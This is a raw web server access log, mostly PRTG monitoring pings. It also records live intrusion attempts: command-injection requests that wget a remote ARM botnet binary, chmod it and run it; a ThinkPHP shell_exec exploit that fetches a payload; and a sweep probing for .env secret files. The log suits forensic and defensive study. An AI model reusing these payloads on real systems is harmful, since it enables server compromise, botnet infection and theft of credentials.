212.91.246.72 - - [23/Feb/2020:09:57:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:58:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:59:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:01:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:02:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:03:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:04:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:08:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:10:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:13:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:14:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:16:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:18:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:20:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.92.153.250 - - [23/Feb/2020:10:21:13 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [23/Feb/2020:10:21:17 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [23/Feb/2020:10:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.92.153.250 - - [23/Feb/2020:10:21:23 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [23/Feb/2020:10:21:35 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [23/Feb/2020:10:22:00 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [23/Feb/2020:10:22:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:23:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:24:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:25:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:29:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:31:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:32:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.107.81.114 - - [23/Feb/2020:10:32:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:10:33:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.62.187.101 - - [23/Feb/2020:10:35:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:10:35:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /vod_installer/.env HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /login/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /engine/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /inc/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /react/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /travis/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:10 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /backend/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /protected/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /laravel/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /auth/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /scripts/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /personal/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /project/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /server/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /config/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /search/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /cron/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /src/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /master/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /application/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /frontend/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:11 +0100] "GET /mods/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:12 +0100] "GET /routes/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:12 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:12 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:12 +0100] "GET /site/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:12 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:12 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:12 +0100] "GET /laravel-artisan/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:12 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:10:37:12 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [23/Feb/2020:10:37:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.40.230.227 - - [23/Feb/2020:10:37:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:10:38:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:39:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:40:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:41:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:42:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:43:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.145.251.200 - - [23/Feb/2020:10:47:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:10:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:49:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:50:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:51:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:53:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:54:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:55:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:56:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.235.247.130 - - [23/Feb/2020:10:57:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:10:57:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:58:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:10:59:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:01:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:02:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:03:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:04:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:08:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [23/Feb/2020:11:10:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [23/Feb/2020:11:10:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:13:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:14:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:16:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:18:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:20:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:22:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:23:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:24:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:25:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:29:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
